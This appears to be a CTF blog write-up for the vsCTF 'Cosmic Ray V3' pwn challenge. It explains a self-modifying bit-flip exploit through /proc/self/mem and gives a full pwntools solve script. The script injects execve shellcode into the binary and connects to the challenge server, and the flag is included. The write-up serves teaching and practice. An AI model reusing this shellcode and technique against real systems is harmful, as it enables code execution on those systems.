> For the complete documentation index, see [llms.txt](https://elijahchia.gitbook.io/ctf-blog/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://elijahchia.gitbook.io/ctf-blog/vsctf-24/cosmic-ray-v3-pwn.md).

# Cosmic Ray V3 (pwn)

{% file src="/files/9HsVBXcdvSDQsRN6Foky" %}

{% file src="/files/zDBoMhxOiUMB1fTr1q9g" %}

{% file src="/files/9lSbY42oYxAbCeTtDP0F" %}

The code in `main` is quite simple. It calls `cosmic_ray`, then does a `syscall`.

```c
undefined8 main(void)
{
  setbuf(stdout,(char *)0x0);
  setbuf(stderr,(char *)0x0);
  cosmic_ray();
  syscall();
  return 0;
}
```

The equivalent assembly looks like this:

<figure><img src="/files/DDYq39a3HzKOTDxEMCj4" alt="" width="361"><figcaption></figcaption></figure>

`cosmic_ray` essentially allows us to choose any bit in the program to flip. The pseudocode is as follows:

```c
undefined8 cosmic_ray(void)
{
  __off_t local_30;
  char local_26;
  char local_25;
  int local_24;
  undefined8 local_20;
  long local_18;
  int local_10;
  int local_c;
  
  puts("Enter an address to send a cosmic ray through:");
  __isoc99_scanf("0x%lx",&local_30);
  getchar();
  putchar(10);
  local_10 = open("/proc/self/mem",2);
  lseek(local_10,local_30,0);
  read(local_10,&local_25,1);
  local_18 = byte_to_binary((int)local_25);
  puts("|0|1|2|3|4|5|6|7|");
  puts("-----------------");
  putchar(0x7c);
  for (local_c = 0; local_c < 8; local_c = local_c + 1) {
    printf("%d|",(ulong)(uint)(int)*(char *)(local_18 + local_c));
  }
  putchar(10);
  putchar(10);
  puts("Enter the bit position to flip:");
  __isoc99_scanf(&DAT_00402098,&local_24);
  getchar();
  if ((-1 < local_24) && (local_24 < 8)) {
    local_20 = flip_bit(local_18,local_24);
    local_26 = binary_to_byte(local_20);
    putchar(10);
    printf("Bit succesfully flipped! New value is %d\n\n",(ulong)(uint)(int)local_26);
    lseek(local_10,local_30,0);
    write(local_10,&local_26,1);
    return 0;
  }
                    /* WARNING: Subroutine does not return */
  exit(1);
}
```

We should first enter the byte to flip in the format `0x123456`, then enter the bit to flip which is between `0` (for most significant bit) and `7` (for least significant bit).

Since `cosmic_ray` is only called by `main` once, we need to find a way to get many bit flips. Notice that the assembly code for `cosmic_ray` is located above the assembly code for `main`:

<figure><img src="/files/CU9w2NSixdC2hdS86drS" alt="" width="373"><figcaption></figcaption></figure>

As such, if we were to modify the `RET` instruction to another valid instruction, the program execution would continue to `main` and call `cosmic_ray` again. We can change the byte `0x4015aa` at bit `0` from `1` to `0`, which would change the byte from `c3` to `43`, changing our `RET` to an instruction that is still valid.

<figure><img src="/files/E6n73dXRBCzhVGcgpYAM" alt=""><figcaption></figcaption></figure>

Now we want instructions after the `CALL cosmic_ray` instruction in `main` to contain shellcode. This way, when we finally allow the `cosmic_ray` function to return, our shellcode will be executed. So from address `0x4015e5` onwards, the bytes will contain our shellcode.&#x20;

Our plan is as follows:

1. Flip bit `0` at `0x4015aa`
2. Flip bits from `0x4015e5` onwards until our entire shellcode is in the program code&#x20;
3. Flip bit `0` at `0x4015aa` again to allow `cosmic_ray` to return

In my script, I define the function `flip` to handle process i/o, indicating which bit to flip. I also have a function `getbit` that obtains the specified bit from the program's code.&#x20;

For step 2, I iterate through every bit of the shellcode. If the bit is different from the corresponding bit in the program's code, I request the bit to be flipped. Below is my solve script.

```python
from pwn import *
from bitstring import BitArray
# fill in binary name
elf = context.binary = ELF("./cosmicrayv3")
libc = ELF("./libc-2.35.so")
ld = ELF("./ld-2.35.so")

context.log_level = 'debug'

# shellcode from https://www.exploit-db.com/exploits/47008
shellcode = b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05"
shellcode_hex = shellcode.hex()
shellcode_binarystr = BitArray(hex=shellcode_hex).bin
print(f"binary string: {shellcode_binarystr}")

f = open("./cosmicrayv3", "rb")
data = f.read()

if args.REMOTE:
  # fill in remote address
  p = remote("vsc.tf", 7000)
else:
  p = process([ld.path, elf.path], env = {"LD_PRELOAD": libc.path})

# create exploit here
def flip(addr,bits):
    addr = str(hex(addr)).encode()
    bits = str(bits).encode()
    p.sendlineafter(b"through:\n", addr)
    p.sendlineafter(b"flip:\n", bits)

# bits are from left to right. ie msb is bit 0, lsb is bit 7
def getbit(addr, bits):
    real_addr = addr - 0x400000
    binary_byte = hex(data[real_addr])
    byte_binarystr = BitArray(hex=binary_byte).bin
    byte_binarystr = byte_binarystr.rjust(8, '0')
    # count bits from left
    if byte_binarystr[bits] == '0':
        return '0'
    else:
        return '1'
    
# change c3 (ret)
flip(0x004015aa, 0)
# now we have infinite flips
# let 0x4015e5 and after be our shellcode
curr_byte, curr_bits= 0x04015e5, 0
for i in range(len(shellcode_binarystr)):
    a, b = getbit(curr_byte, curr_bits), shellcode_binarystr[i]
    if a != b:
        flip(curr_byte, curr_bits)
    if curr_bits == 7:
        curr_byte += 1
        curr_bits = 0
    else:
        curr_bits += 1

flip(0x004015aa, 0) # flip back to exit cosmic_ray
p.interactive() # vsctf{4nd_th3_st4r5_4l1gn_0nc3_m0r3}
```
